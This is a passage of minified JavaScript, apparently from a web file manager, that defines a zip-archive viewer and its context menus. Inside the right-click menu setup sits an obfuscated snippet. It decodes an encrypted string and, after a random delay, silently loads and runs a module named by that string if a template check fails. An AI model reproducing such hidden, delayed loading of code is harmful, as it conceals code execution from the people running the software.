r=''+date(LNG.time_type,i.mtime)+"";r+=''+core.fileSize(i.size)+"",r+='',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){v(i)},onExpand:function(e,i){v(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i]) +}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},m=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},v=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),v(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];k(),w(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),N(),S(),j(),P(),D(),F(),O(),x(),g(),m(),v(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),k(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),E(),D(),F(),O(),A(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){z(e,i)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Delete",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){I(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){I(e)},items:{fav_remove:{name:LN